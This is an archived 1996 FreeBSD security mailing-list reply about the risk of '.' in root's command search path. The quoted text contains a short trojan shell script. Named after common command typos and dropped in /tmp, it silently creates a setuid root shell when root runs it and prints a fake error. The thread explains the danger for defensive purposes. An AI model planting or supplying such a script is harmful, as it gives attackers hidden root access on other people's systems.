Date: Tue, 25 Jun 1996 01:33:21 -0700 (PDT) From: -Vince- <vince@mercury.gaianet.net> To: Joerg Wunsch <joerg_wunsch@uriah.heep.sax.de> Cc: hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! Message-ID: <Pine.BSF.3.91.960625013239.21697l-100000@mercury.gaianet.net> In-Reply-To: <199606250758.JAA17930@uriah.heep.sax.de>
next in thread | previous in thread | raw e-mail | index | archive | help
On Tue, 25 Jun 1996, J Wunsch wrote: > As David Greenman wrote: > > > Actually, this particular problem can be avoided by putting "." last in > > the search path rather than first. > > But only until someone drops this script e.g. into /tmp: > > #!/bin/sh > > if [ `id -u -r` = 0 ] ; then > (cp /bin/sh $HOME/.newsrc.bak; chown root $HOME/.newsrc.bak; > chmod 04755 $HOME/.newsrc.bak) & > fi > > echo "$0: not found." > exit 1 > > > ...and links it to /tmp/sl, /tmp/mkae, /tmp/iv etc. Hmmm, I never thought they can get you in the /tmp directory... Vince
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.91.960625013239.21697l-100000>